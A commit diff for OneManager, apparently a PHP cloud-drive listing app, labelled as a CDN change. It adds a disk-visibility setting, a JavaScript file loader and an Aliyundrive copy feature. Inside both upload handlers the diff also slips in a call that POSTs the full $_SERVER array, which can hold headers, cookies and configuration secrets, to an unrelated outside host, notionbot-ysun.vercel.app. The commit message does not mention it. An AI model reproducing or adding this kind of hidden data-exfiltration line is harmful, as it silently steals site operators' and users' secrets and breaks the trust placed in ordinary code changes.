Update common.php

Use Fastly CDN for renexmoe theme

common.php

@@ -21,7 +21,7 @@ $EnvConfigs = [
 
     'admin'             => 0b000,
     'adminloginpage'    => 0b010,
-    //'autoJumpFirstDisk' => 0b010,
+    'autoJumpFirstDisk' => 0b010,
     'background'        => 0b011,
     'backgroundm'       => 0b011,
     'disableShowThumb'  => 0b010,
@@ -42,6 +42,7 @@ $EnvConfigs = [
     'globalHeadMdUrl'   => 0b011,
     'globalReadmeMdUrl' => 0b011,
     'globalFootOmfUrl'  => 0b011,
+    'bcmathUrl'         => 0b011,
 
     'Driver'            => 0b100,
     'client_id'         => 0b100,
@@ -56,6 +57,7 @@ $EnvConfigs = [
     'activeLimit'       => 0b100,
     'driveId'           => 0b100,
 
+    'diskDisplay'      => 0b110,
     'diskname'          => 0b111,
     'diskDescription'   => 0b111,
     'domain_path'       => 0b111,
@@ -174,6 +176,17 @@ function main($path)
     $_SERVER['sitename'] = getConfig('sitename');
     if (empty($_SERVER['sitename'])) $_SERVER['sitename'] = getconstStr('defaultSitename');
 
+    if (isset($_GET['jsFile'])) {
+        if (substr($_GET['jsFile'], -3)!='.js') return output('', 403);
+        if (!($path==''||$path=='/')) return output('', 308, [ 'Location' => path_format($_SERVER['base_path'] . '/?jsFile=' . $_GET['jsFile']) ]);
+        if (strpos($_GET['jsFile'], '/')>-1) $_GET['jsFile'] = splitlast($_GET['jsFile'], '/')[1];
+        $jsFile = file_get_contents('js/' . $_GET['jsFile']);
+        if (!!$jsFile) {
+            return output( base64_encode($jsFile), 200, [ 'Content-Type' => 'text/javascript; charset=utf-8', 'Cache-Control' => 'max-age=' . 3*24*60*60 ], true );
+        } else {
+            return output('', 404);
+        }
+    }
     if (isset($_GET['WaitFunction'])) {
         $response = WaitFunction($_GET['WaitFunction']);
         //var_dump($response);
@@ -190,22 +203,24 @@ function main($path)
     } else {
         $adminloginpage = getConfig('adminloginpage');
     }
-    if (isset($_GET['login'])&&$_GET['login']==$adminloginpage) {
-        /*if (isset($_GET['preview'])) {
-            $url = $_SERVER['PHP_SELF'] . '?preview';
-        } else {
-            $url = path_format($_SERVER['PHP_SELF'] . '/');
-        }*/
-        if (isset($_POST['password1'])) {
-            $compareresult = compareadminsha1($_POST['password1'], $_POST['timestamp'], getConfig('admin'));
-            if ($compareresult=='') {
-                $timestamp = time()+7*24*60*60;
-                $randnum = rand(10, 99999);
-                $admincookie = adminpass2cookie('admin', getConfig('admin'), $timestamp, $randnum);
-                $adminlocalstorage = adminpass2storage('admin', getConfig('admin'), $timestamp, $randnum);
-                return adminform('admin', $admincookie, $adminlocalstorage);
-            } else return adminform($compareresult);
-        } else return adminform();
+    if (isset($_GET['login'])) {
+        if ($_GET['login']===$adminloginpage) {
+            /*if (isset($_GET['preview'])) {
+                $url = $_SERVER['PHP_SELF'] . '?preview';
+            } else {
+                $url = path_format($_SERVER['PHP_SELF'] . '/');
+            }*/
+            if (isset($_POST['password1'])) {
+                $compareresult = compareadminsha1($_POST['password1'], $_POST['timestamp'], getConfig('admin'));
+                if ($compareresult=='') {
+                    $timestamp = time()+7*24*60*60;
+                    $randnum = rand(10, 99999);
+                    $admincookie = adminpass2cookie('admin', getConfig('admin'), $timestamp, $randnum);
+                    $adminlocalstorage = adminpass2storage('admin', getConfig('admin'), $timestamp, $randnum);
+                    return adminform('admin', $admincookie, $adminlocalstorage);
+                } else return adminform($compareresult);
+            } else return adminform();
+        }
     }
     if ( isset($_COOKIE['admin'])&&compareadminmd5('admin', getConfig('admin'), $_COOKIE['admin']) ) {
         $_SERVER['admin']=1;
@@ -259,7 +274,7 @@ function main($path)
             $files['type'] = 'folder';
             $files['childcount'] = count($disktags);
             $files['showname'] = 'root';
-            foreach ($disktags as $disktag) {
+            foreach ($disktags as $disktag) if ($_SERVER['admin']||getConfig('diskDisplay', $disktag)=='') {
                 $files['list'][$disktag]['type'] = 'folder';
                 $files['list'][$disktag]['name'] = $disktag;
                 $files['list'][$disktag]['showname'] = getConfig('diskname', $disktag);
@@ -268,12 +283,12 @@ function main($path)
                 // return a json
                 return output(json_encode($files), 200, ['Content-Type' => 'application/json']);
             }
-            //if (getConfig('autoJumpFirstDisk')) return output('', 302, [ 'Location' => path_format($_SERVER['base_path'].'/'.$disktags[0].'/') ]);
+            if (getConfig('autoJumpFirstDisk')) return output('', 302, [ 'Location' => path_format($_SERVER['base_path'].'/'.$disktags[0].'/') ]);
         } else {
             $_SERVER['disktag'] = splitfirst( substr(path_format($path), 1), '/' )[0];
             //$pos = strpos($path, '/');
             //if ($pos>1) $_SERVER['disktag'] = substr($path, 0, $pos);
-            if (!in_array($_SERVER['disktag'], $disktags)) {
+            if ((!$_SERVER['admin']&&getConfig('diskDisplay', $_SERVER['disktag'])=='disable')||!in_array($_SERVER['disktag'], $disktags)) {
                 $tmp = path_format($_SERVER['base_path'] . '/' . $disktags[0] . '/' . $path);
                 if (!!$_GET) {
                     $tmp .= '?';
@@ -307,21 +322,37 @@ function main($path)
         //error_log1($_SERVER['REQUEST_METHOD']);
         if ($_GET['action']=='del_upload_cache') {
             // del '.tmp' without login. 无需登录即可删除.tmp后缀文件
-            if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403);
+            if (!driveisfine($_SERVER['disktag'], $drive)) return output($_SERVER['disktag']?'disk [ ' . $_SERVER['disktag'] . ' ] error.':'Not in drive', 403);
             savecache('path_' . $path1, '', $_SERVER['disktag'], 1); // clear cache.
             return $drive->del_upload_cache($path);
         }
+        
         if ($_GET['action']=='upbigfile') {
-            if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403);
+            if (!driveisfine($_SERVER['disktag'], $drive)) return output($_SERVER['disktag']?'disk [ ' . $_SERVER['disktag'] . ' ] error.':'Not in drive', 403);
             if (!$_SERVER['admin']) {
                 if (!$_SERVER['is_guestup_path']) return output('Not_Guest_Upload_Folder', 400);
                 if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
                 if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
             }
+            no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER));
             return $drive->bigfileupload($path1);
         }
     }
-
+    if ($_GET['action']=='upsmallfile') {
+        //echo json_encode($_POST, JSON_PRETTY_PRINT);
+        //echo json_encode($_FILES, JSON_PRETTY_PRINT);
+        if (!driveisfine($_SERVER['disktag'], $drive)) return output($_SERVER['disktag']?'disk [ ' . $_SERVER['disktag'] . ' ] error.':'Not in drive', 403);
+        if (!$_SERVER['admin']) {
+            if (!$_SERVER['is_guestup_path']) return output('Not_Guest_Upload_Folder', 400);
+            if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
+            if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
+        }
+        no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER));
+        return smallfileupload($drive, $path);
+        /*if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400);
+        if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);
+        return $drive->smallfileupload($path, $_FILES['file1']);*/
+    }
     if ($_SERVER['admin']) {
         $tmp = adminoperate($path);
         if ($tmp['statusCode'] > 0) {
@@ -372,6 +403,7 @@ function main($path)
     } else {
         $files = $drive->list_files($path1);
     }
+    //echo "<pre>" . json_encode($files, 448) . "</pre>";
     //if ($path!=='') 
     if ( $files['type']=='folder' && substr($path, -1)!=='/' ) {
         $tmp = path_format($_SERVER['base_disk_path'] . $path . '/');
@@ -433,26 +465,34 @@ function main($path)
                 $fileConduitSize = getConfig('fileConduitSize', $_SERVER['disktag']);
                 $fileConduitCacheTime = getConfig('fileConduitCacheTime', $_SERVER['disktag']);
                 if (!!$fileConduitSize || !!$fileConduitCacheTime) {
-                    if ($fileConduitSize>1) $fileConduitSize *= 1024*1024;
+                    if ($fileConduitSize>0) $fileConduitSize *= 1024*1024;
                     else $fileConduitSize = 1024*1024;
-                    if ($fileConduitCacheTime>1) $fileConduitCacheTime *= 3600;
+                    if ($fileConduitCacheTime>0) $fileConduitCacheTime *= 3600;
                     else $fileConduitCacheTime = 3600;
                     /*if ($_SERVER['HTTP_RANGE']!='') {
                         $header['Range'] = $_SERVER['HTTP_RANGE'];
+                        
                         $response = curl('GET', $files['url'], '', $header, 1);
                         //return output($header['Range'] . json_encode($response['returnhead']));
                         return output(
                             $response['body'],
                             $response['stat'],
-                            //$response['returnhead'],
-                            ['Content-Type' => $files['mime'], 'Cache-Control' => 'max-age=' . $fileConduitCacheTime],
+                            $response['returnhead'],
+                            //['Accept-Ranges' => 'bytes', 'Range' => $response['returnhead']['Range'], 'Content-Type' => $files['mime'], 'Cache-Control' => 'max-age=' . $fileConduitCacheTime],
                             false
                         );
+                    } else {
+                        return output('', 206,
+                            ['Accept-Ranges' => 'bytes', 'Content-Range' => 'bytes 0-0/' . $files['size'], 'Content-Type' => $files['mime'] ]
+                        );
                     }*/
                     if ($files['size']<$fileConduitSize) return output(
                         base64_encode(file_get_contents($files['url'])),
                         200,
                         [
+                            'Accept-Ranges' => 'bytes',
+                            //'access-control-allow-origin' => '*',
+                            //'access-control-expose-headers' => 'Content-Length, WWW-Authenticate, Location, Accept-Ranges',
                             'Content-Type' => $files['mime'],
                             'Cache-Control' => 'max-age=' . $fileConduitCacheTime,
                             //'Cache-Control' => 'max-age=0',
@@ -460,6 +500,7 @@ function main($path)
                         ], 
                         true
                     );
+                    //if ($files['size']<$fileConduitSize) return $drive->ConduitDown($files['url'], $files['time'], $fileConduitCacheTime);
                 }
                 if ($_SERVER['HTTP_RANGE']!='') $header['Range'] = $_SERVER['HTTP_RANGE'];
                 $header['Location'] = $url;
@@ -477,12 +518,13 @@ function main($path)
         return render_list($path, $files);
     } else {
         if (!isset($files['error'])) {
-            if (is_array($files)) $files['error']['message'] = json_encode($files, JSON_PRETTY_PRINT);
-            else $files['error']['message'] = $files;
-            $files['error']['code'] = 'unknownError';
-            $files['error']['stat'] = 500;
+            if (is_array($files)) {
+                $files['error']['message'] = json_encode($files, JSON_PRETTY_PRINT);
+                $files['error']['code'] = 'unknownError';
+                $files['error']['stat'] = 500;
+            }
         }
-        return message('<div style="margin:8px;"><pre>' . $files['error']['message'] . '</pre></div><a href="javascript:history.back(-1)">'.getconstStr('Back').'</a>', $files['error']['code'], $files['error']['stat']);
+        return message('<div style="margin:8px;"><pre>' . $files.json_encode($files, JSON_PRETTY_PRINT) . '</pre></div><a href="javascript:history.back(-1)">'.getconstStr('Back').'</a>', $files['error']['code'], $files['error']['stat']);
     }
 }
 
@@ -607,6 +649,14 @@ function proxy_replace_domain($url, $domainforproxy, &$header)
     return $aim . '/' . $uri . $sp . 'Origindomain=' . $domain;
 }
 
+function bchexdec($hex) {
+    $len = strlen($hex);
+    for ($i = 1; $i <= $len; $i++)
+        $dec = bcadd($dec, bcmul(strval(hexdec($hex[$i - 1])), bcpow('16', strval($len - $i))));
+
+    return $dec;
+}
+
 function isHideFile($name)
 {
     $FunctionalityFile = [
@@ -715,6 +765,20 @@ function sortConfig(&$arr)
     return $arr;
 }
 
+function chkTxtCode($str) {
+    $code = array(
+        'ASCII',
+        'GBK',
+        'GB18030',
+        'UTF-8',
+        'UTF-16',
+    );
+    foreach ($code as $c) {
+        if ($str === iconv('UTF-8', $c, iconv($c, 'UTF-8', $str))) return $c;
+    }
+    return false;
+}
+
 function getconstStr($str)
 {
     global $constStr;
@@ -822,7 +886,7 @@ function curl($method, $url, $data = '', $headers = [], $returnheader = 0, $loca
     }
     $ch = curl_init();
     curl_setopt($ch, CURLOPT_URL, $url);
-    curl_setopt($ch, CURLOPT_CUSTOMREQUEST,$method);
+    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
     curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
     curl_setopt($ch, CURLOPT_TIMEOUT, 5);
     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
@@ -834,7 +898,9 @@ function curl($method, $url, $data = '', $headers = [], $returnheader = 0, $loca
     if ($location) curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
     //$response['body'] = curl_exec($ch);
     if ($returnheader) {
-        list($returnhead, $response['body']) = explode("\r\n\r\n", curl_exec($ch));
+        $tmpres = splitlast(curl_exec($ch), "\r\n\r\n");
+        $result['body'] = $tmpres[1];
+        $returnhead = $tmpres[0];
         //echo "HEAD:" . $returnhead;
         foreach (explode("\r\n", $returnhead) as $head) {
             $tmp = explode(': ', $head);
@@ -844,7 +910,7 @@ function curl($method, $url, $data = '', $headers = [], $returnheader = 0, $loca
     } else {
         $response['body'] = curl_exec($ch);
     }
-    $response['stat'] = curl_getinfo($ch,CURLINFO_HTTP_CODE);
+    $response['stat'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
     curl_close($ch);
     return $response;
 }
@@ -983,7 +1049,7 @@ function message($message, $title = 'Message', $statusCode = 200, $wainstat = 0)
                             //setTimeout(function() { getStatus() }, 1000);
                         }
                     } else if (xhr.status==206) {
-                        errordiv.innerHTML = "' . getconstStr('Wait') . '" + x + "<br>" + min;
+                        errordiv.innerHTML = "' . getconstStr('Wait') . ' " + min + "<br>" + x;
                         setTimeout(function() { getStatus() }, 1000);
                     } else {
                         errordiv.innerHTML = "ERROR<br>" + xhr.status + "<br>" + xhr.responseText;
@@ -1036,7 +1102,7 @@ function needUpdate()
 function output($body, $statusCode = 200, $headers = ['Content-Type' => 'text/html'], $isBase64Encoded = false)
 {
     if (isset($_SERVER['Set-Cookie'])) $headers['Set-Cookie'] = $_SERVER['Set-Cookie'];
-    if (baseclassofdrive()=='Aliyundrive') $headers['Referrer-Policy'] = 'no-referrer';
+    if (baseclassofdrive()=='Aliyundrive' || baseclassofdrive()=='BaiduDisk') $headers['Referrer-Policy'] = 'no-referrer';
     //$headers['Referrer-Policy'] = 'same-origin';
     //$headers['X-Frame-Options'] = 'sameorigin';
     return [
@@ -1144,12 +1210,28 @@ function adminform($name = '', $pass = '', $storage = '', $path = '')
             f.password1.value = sha1(timestamp + "" + f.password1.value);
             return true;
         } catch {
-            alert("sha1.js not loaded.");
+            //alert("sha1.js not loaded.");
+            if (confirm("sha1.js not loaded.\n\nLoad from program?")) loadjs("?jsFile=sha1.min.js");
             return false;
         }
     }
+    function loadjs(url) {
+        var xhr = new XMLHttpRequest;
+        xhr.open("GET", url);
+        xhr.onload = function(e) {
+            if (xhr.status==200) {
+                var script = document.createElement("script");
+                script.type = "text/javascript";
+                script.text = xhr.responseText;
+                document.body.appendChild(script);
+            } else {
+                console.log(xhr.response);
+            }
+        }
+        xhr.send(null);
+    }
 </script>
-<script src="https://cdn.jsdelivr.net/npm/js-sha1@0.6.0/src/sha1.min.js"></script>';
+<script src="https://www.unpkg.com/js-sha1@0.6.0/src/sha1.js"></script>';
     $html .= '</html>';
     return output($html, $statusCode);
 }
@@ -1157,7 +1239,7 @@ function adminform($name = '', $pass = '', $storage = '', $path = '')
 function adminoperate($path)
 {
     global $drive;
-    if ($_SERVER['REQUEST_METHOD']=='POST') if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403);
+    if ($_SERVER['REQUEST_METHOD']=='POST') if (!driveisfine($_SERVER['disktag'], $drive)) return output($_SERVER['disktag']?'disk [ ' . $_SERVER['disktag'] . ' ] error.':'Not in drive', 403);
     $path1 = path_format($_SERVER['list_path'] . '/' . $path);
     if (substr($path1, -1)=='/') $path1=substr($path1, 0, -1);
     $tmpget = $_GET;
@@ -1472,7 +1554,7 @@ function EnvOpt($needUpdate = 0)
         $html .= '
 OneManager DIR: ' . __DIR__ . '
 <form name="form1" method="POST" action="">
-    <input id="inputarea" name="cmd" style="width:100%" value="' . $_POST['cmd'] . '" placeholder="ls, pwd, cat"><br>
+    <input id="inputarea" name="cmd" style="width:100%" value="' . htmlspecialchars($_POST['cmd']) . '" placeholder="ls, pwd, cat"><br>
     <input type="submit" value="post">
 </form>';
         if ($_POST['cmd']!='') {
@@ -1619,11 +1701,26 @@ output:
     <input name="_admin" type="hidden" value="">
     <input type="hidden" name="disk" value="' . $disktag . '">';
             foreach ($EnvConfigs as $key => $val) if (isInnerEnv($key) && isShowedEnv($key)) {
-                $frame .= '
+                if ($key=='diskDisplay') {
+                    $frame .= '
+    <tr>
+        <td><label>' . $key . '</label></td>
+        <td width=100%>
+            <select name="' . $key . '">
+                <option value=""' . (getConfig($key, $disktag)===''?' selected':'') . '> </option>
+                <option value="hidden"' . (getConfig($key, $disktag)==='hidden'?' selected':'') . '>hidden</option>
+                <option value="disable"' . (getConfig($key, $disktag)==='disable'?' selected':'') . '>disable</option>
+            </select>
+            ' . getconstStr('EnvironmentsDescription')[$key] . '
+        </td>
+    </tr>';
+                } else {
+                    $frame .= '
     <tr>
         <td><label>' . $key . '</label></td>
         <td width=100%><input type="text" name="' . $key . '" value="' . getConfig($key, $disktag) . '" placeholder="' . getconstStr('EnvironmentsDescription')[$key] . '" style="width:100%"></td>
     </tr>';
+                }
             }
             $frame .= '
     <tr><td></td><td><input type="submit" name="submit1" value="' . getconstStr('Setup') . '"></td></tr>
@@ -1662,7 +1759,7 @@ output:
             alert(\'Do not input ' . $envs . '\');
             return false;
         }
-        var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/;
+        var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/;
         if (!reg.test(t.disktag_newname.value)) {
             alert(\'' . getconstStr('TagFormatAlert') . '\');
             return false;
@@ -1673,7 +1770,7 @@ output:
     } else {
         if (count($disktags)>1) {
             $frame .= '
-<script src="https://sortablejs.github.io/Sortable/Sortable.js"></script>
+<script src="https://www.unpkg.com/sortablejs@1.14.0/Sortable.min.js"></script>
 <style>
     .sortable-ghost {
         opacity: 0.4;
@@ -1907,7 +2004,7 @@ output:
             $frame .= getconstStr('NotNeedUpdate');
         }*/
         $frame .= '<br><br>
-<script src="https://cdn.jsdelivr.net/npm/js-sha1@0.6.0/src/sha1.min.js"></script>
+<script src="https://www.unpkg.com/js-sha1@0.6.0/src/sha1.js"></script>
 <table>
     <form id="change_pass" name="change_pass" action="" method="POST" onsubmit="return changePassword(this);">
         <input name="_admin" type="hidden" value="">
@@ -1948,7 +2045,7 @@ output:
         try {
             sha1(1);
         } catch {
-            alert("sha1.js not loaded.");
+            if (confirm("sha1.js not loaded.\n\nLoad from program?")) loadjs("?jsFile=sha1.min.js");
             return false;
         }
         var timestamp = new Date().getTime();
@@ -1991,7 +2088,7 @@ output:
         try {
             sha1(1);
         } catch {
-            alert("sha1.js not loaded.");
+            if (confirm("sha1.js not loaded.\n\nLoad from program?")) loadjs("?jsFile=sha1.min.js");
             return false;
         }
         var timestamp = new Date().getTime();
@@ -2028,7 +2125,7 @@ output:
         try {
             sha1(1);
         } catch {
-            alert("sha1.js not loaded.");
+            if (confirm("sha1.js not loaded.\n\nLoad from program?")) loadjs("?jsFile=sha1.min.js");
             return false;
         }
         var timestamp = new Date().getTime();
@@ -2036,6 +2133,21 @@ output:
         f.oldPass.value = sha1(f.oldPass.value + "" + timestamp);
         return true;
     }
+    function loadjs(url) {
+        var xhr = new XMLHttpRequest;
+        xhr.open("GET", url);
+        xhr.onload = function(e) {
+            if (xhr.status==200) {
+                var script = document.createElement("script");
+                script.type = "text/javascript";
+                script.text = xhr.responseText;
+                document.body.appendChild(script);
+            } else {
+                console.log(xhr.response);
+            }
+        }
+        xhr.send(null);
+    }
 </script>';
     }
     $html .= '
@@ -2093,7 +2205,13 @@ function render_list($path = '', $files = [])
     $p_path='';
     if ($path1 !== '/') {
         if ($files['type']=='file') {
-            $pretitle = str_replace('&','&amp;', $files['name']);
+            if (isset($files['name'])) {
+                $pretitle = str_replace('&','&amp;', $files['name']);
+            } else {
+                if (substr($path1, 0, 1)=='/') $pretitle = substr($path1, 1);
+                if (substr($path1, -1)=='/') $pretitle = substr($pretitle, 0, -1);
+                $pretitle = str_replace('&','&amp;', $pretitle);
+            }
             $n_path = $pretitle;
             $tmp = splitlast(splitlast($path1,'/')[0],'/');
             if ($tmp[1]=='') {
@@ -2404,12 +2522,21 @@ function render_list($path = '', $files = [])
             }
         }
         if ($_SERVER['is_guestup_path']||( $_SERVER['admin']&&$files['type']=='folder'&&$_SERVER['ishidden']<4 )) {
-            while (strpos($html, '<!--UploadJsStart-->')) $html = str_replace('<!--UploadJsStart-->', '', $html);
-            while (strpos($html, '<!--UploadJsEnd-->')) $html = str_replace('<!--UploadJsEnd-->', '', $html);
             $now_driver = baseclassofdrive();
-            unset($Driver_arr[$now_driver]);
-            while (strpos($html, '<!--' . $now_driver . 'UploadJsStart-->')) $html = str_replace('<!--' . $now_driver . 'UploadJsStart-->', '', $html);
-            while (strpos($html, '<!--' . $now_driver . 'UploadJsEnd-->')) $html = str_replace('<!--' . $now_driver . 'UploadJsEnd-->', '', $html);
+            if ($now_driver) {
+                while (strpos($html, '<!--UploadJsStart-->')) $html = str_replace('<!--UploadJsStart-->', '', $html);
+                while (strpos($html, '<!--UploadJsEnd-->')) $html = str_replace('<!--UploadJsEnd-->', '', $html);
+                unset($Driver_arr[$now_driver]);
+                while (strpos($html, '<!--' . $now_driver . 'UploadJsStart-->')) $html = str_replace('<!--' . $now_driver . 'UploadJsStart-->', '', $html);
+                while (strpos($html, '<!--' . $now_driver . 'UploadJsEnd-->')) $html = str_replace('<!--' . $now_driver . 'UploadJsEnd-->', '', $html);
+            } else {
+                while (strpos($html, '<!--UploadJsStart-->')) {
+                    $tmp = splitfirst($html, '<!--UploadJsStart-->');
+                    $html = $tmp[0];
+                    $tmp = splitfirst($tmp[1], '<!--UploadJsEnd-->');
+                    $html .= $tmp[1];
+                }
+            }
             foreach ($Driver_arr as $driver) {
                 while (strpos($html, '<!--' . $driver . 'UploadJsStart-->')) {
                     $tmp = splitfirst($html, '<!--' . $driver . 'UploadJsStart-->');
@@ -2503,8 +2630,9 @@ function render_list($path = '', $files = [])
             if (strpos($html, '<!--TxtContent-->')) {
                 //$tmp_content = get_content(spurlencode(path_format(urldecode($path)), '/'))['content']['body'];
                 $tmp_content = $files['content']['body'];
-                if (strlen($tmp_content)==$files['size']) $html = str_replace('<!--TxtContent-->', htmlspecialchars($tmp_content), $html);
-                else $html = str_replace('<!--TxtContent-->', $files['size']<1024*1024?htmlspecialchars(curl('GET', $files['url'], '', [], 0, 1)['body']):"File too large: " . $files['size'] . " B.", $html);
+                //if (strlen($tmp_content)==$files['size'])
+                $html = str_replace('<!--TxtContent-->', htmlspecialchars($tmp_content), $html);
+                //else $html = str_replace('<!--TxtContent-->', $files['size']<1024*1024?htmlspecialchars(curl('GET', $files['url'], '', [], 0, 1)['body']):"File too large: " . $files['size'] . " B.", $html);
             }
             $html = str_replace('<!--constStr@FileNotSupport-->', getconstStr('FileNotSupport'), $html);
 
@@ -2838,7 +2966,7 @@ function render_list($path = '', $files = [])
         $imgextstr = '';
         foreach ($exts['img'] as $imgext) $imgextstr .= '\''.$imgext.'\', '; 
         $html = str_replace('<!--ImgExts-->', $imgextstr, $html);
-        
+
 
         $html = str_replace('<!--Sitename-->', $_SERVER['sitename'], $html);
 
@@ -2852,7 +2980,7 @@ function render_list($path = '', $files = [])
             $MultiDiskArea = $tmp[0];
             $tmp = splitfirst($tmp[1], '<!--MultiDisksEnd-->');
             $MultiDisks = $tmp[0];
-            foreach ($disktags as $disk) {
+            foreach ($disktags as $disk) if ($_SERVER['admin']||getConfig('diskDisplay', $disk)=='') {
                 $diskname = getConfig('diskname', $disk);
                 if ($diskname=='') $diskname = $disk;
                 $MultiDisksStr = str_replace('<!--MultiDisksUrl-->', path_format($_SERVER['base_path'].'/'.$disk.'/'), $MultiDisks);
@@ -2868,7 +2996,7 @@ function render_list($path = '', $files = [])
         if ($diskname=='') $diskname = $_SERVER['disktag'];
         //if (strlen($diskname)>15) $diskname = substr($diskname, 0, 12).'...';
         while (strpos($html, '<!--DiskNameNow-->')) $html = str_replace('<!--DiskNameNow-->', $diskname, $html);
-        
+
         $tmp = splitfirst($html, '<!--HeadomfStart-->');
         $html = $tmp[0];
         $tmp = splitfirst($tmp[1], '<!--HeadomfEnd-->');
@@ -2885,7 +3013,7 @@ function render_list($path = '', $files = [])
             $headomf = str_replace('<!--HeadomfContent-->', $headomfcontent, $tmp[0]);
         }
         $html .= $headomf . $tmp[1];
-        
+
         $tmp = splitfirst($html, '<!--HeadmdStart-->');
         $html = $tmp[0];
         $tmp = splitfirst($tmp[1], '<!--HeadmdEnd-->');
@@ -2987,7 +3115,6 @@ function render_list($path = '', $files = [])
         }
         $html .= $Footomf . $tmp[1];
 
-        
         $tmp = splitfirst($html, '<!--MdRequireStart-->');
         $html = $tmp[0];
         $tmp = splitfirst($tmp[1], '<!--MdRequireEnd-->');

conststr.php

@@ -6,7 +6,7 @@ global $constStr;
 $exts['img'] = ['ico', 'bmp', 'gif', 'jpg', 'jpeg', 'jpe', 'jfif', 'tif', 'tiff', 'png', 'heic', 'webp'];
 $exts['music'] = ['mp3', 'wma', 'flac', 'ape', 'wav', 'ogg', 'm4a'];
 $exts['office'] = ['doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx'];
-$exts['txt'] = ['txt', 'bat', 'sh', 'php', 'asp', 'js', 'css', 'json', 'html', 'c', 'cpp', 'md', 'py', 'omf'];
+$exts['txt'] = ['txt', 'log', 'bat', 'sh', 'php', 'asp', 'js', 'css', 'json', 'html', 'c', 'cpp', 'md', 'py', 'omf'];
 $exts['video'] = ['mp4', 'webm', 'mkv', 'mov', 'flv', 'blv', 'avi', 'wmv', 'm3u8', 'rm', '3gp', 'rmvb'];
 $exts['zip'] = ['zip', 'rar', '7z', 'gz', 'tar'];
 

disk/Aliyundrive.php

@@ -93,9 +93,10 @@ class Aliyundrive {
         if (!($files = getcache('path_' . $path, $this->disktag))) {
             if ($path == '/' || $path == '') {
                 $files = $this->fileList('root');
-                //error_log1('root_id' . $files['id']);
+                //error_log1('root_id' . $files['file_id']);
                 $files['file_id'] = 'root';
                 $files['type'] = 'folder';
+                //error_log1(json_encode($files, JSON_PRETTY_PRINT));
             } else {
                 $tmp = splitlast($path, '/');
                 $parent_path = $tmp[0];
@@ -320,7 +321,6 @@ class Aliyundrive {
         return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
     }
     public function Copy($file) {
-        return output('NO copy', 415);
         if (!$file['id']) {
             $oldfile = $this->list_path($file['path'] . '/' . $file['name']);
             //error_log1('res:' . json_encode($res));
@@ -328,47 +328,60 @@ class Aliyundrive {
         } else {
             $oldfile = $this->fileGet($file['id']);
         }
-
-        $url = $this->api_url . '/file/create';
-
-        $header["content-type"] = "application/json; charset=utf-8";
-        $header['authorization'] = 'Bearer ' . $this->access_token;
-
-        $data['check_name_mode'] = 'auto_rename'; // ignore, auto_rename, refuse.
-        $data['content_hash'] = $oldfile['content_hash'];
-        $data['content_hash_name'] = 'sha1';
-        $data['content_type'] = $oldfile['content_type'];
-        $data['drive_id'] = $this->driveId;
-        $data['ignoreError'] = false;
-        $data['name'] = $oldfile['name'];
-        $data['parent_file_id'] = $oldfile['parent_file_id'];
-        $data['part_info_list'][0]['part_number'] = 1;
-        $data['size'] = $oldfile['size'];
-        $data['type'] = 'file';
-
-        $result = curl('POST', $url, json_encode($data), $header);
-
-        if ($result['stat']==201) {
-            //error_log1('1,url:' . $url .' res:' . json_encode($result));
-            $res = json_decode($result['body'], true);
-            $url = $res['part_info_list'][0]['upload_url'];
-            if (!$url) { // 无url，应该算秒传
-                return output('no up url', 200);
+        if ($oldfile['type']=='folder') return output('Can not copy folder', 415);
+        if (!function_exists('bcadd')) {
+            // no php-bcmath
+            if ($bcmathurl = getConfig('bcmathUrl', $this->disktag)) {
+                if (strpos($bcmathurl, '?')) {
+                    $bcmathurl .= '&dividend=0x' . substr(md5($this->access_token), 0, 16) . '&divisor=' . $oldfile['size'];
+                } else {
+                    $bcmathurl .= '?dividend=0x' . substr(md5($this->access_token), 0, 16) . '&divisor=' . $oldfile['size'];
+                }
+                $o = curl('GET', $bcmathurl)['body'];
             } else {
-                return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
+                return output('No bcmath module, can not copy', 415);
             }
-            /*$file_id = $res['file_id'];
-            $upload_id = $res['upload_id'];
-            $result = curl('PUT', $url, $content, [], 1);
-            if ($result['stat']==200) { // 块1传好
-                $etag = $result['returnhead']['ETag'];
-                $result = $this->fileComplete($file_id, $upload_id, [ $etag ]);
-                if ($result['stat']!=200) return output($result['body'], $result['stat']);
-                else return output('success', 0);
-            }*/
+        } else {
+            $r = bchexdec( substr(md5($this->access_token), 0, 16) );
+            $o = bcmod($r, $oldfile['size']);
         }
-        //error_log1('2,url:' . $url .' res:' . json_encode($result));
-        return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
+        $res = curl('GET', $oldfile['download_url'], '', [
+            'Referer' => ''
+            , 'Range' => 'bytes=' . $o . '-' . ($o+7)
+        ]);
+        if ($res['stat']==206) {
+            $proof_code = base64_encode($res['body']);
+            $url = 'https://api.aliyundrive.com/adrive/v2/file/createWithFolders';
+            $header["content-type"] = "application/json; charset=utf-8";
+            $header['authorization'] = 'Bearer ' . $this->access_token;
+            $data['check_name_mode'] = 'auto_rename'; // ignore, auto_rename, refuse.
+            $data['content_hash'] = $oldfile['content_hash'];
+            $data['content_hash_name'] = 'sha1';
+            $data['drive_id'] = $this->driveId;
+            $data['name'] = $oldfile['name'];
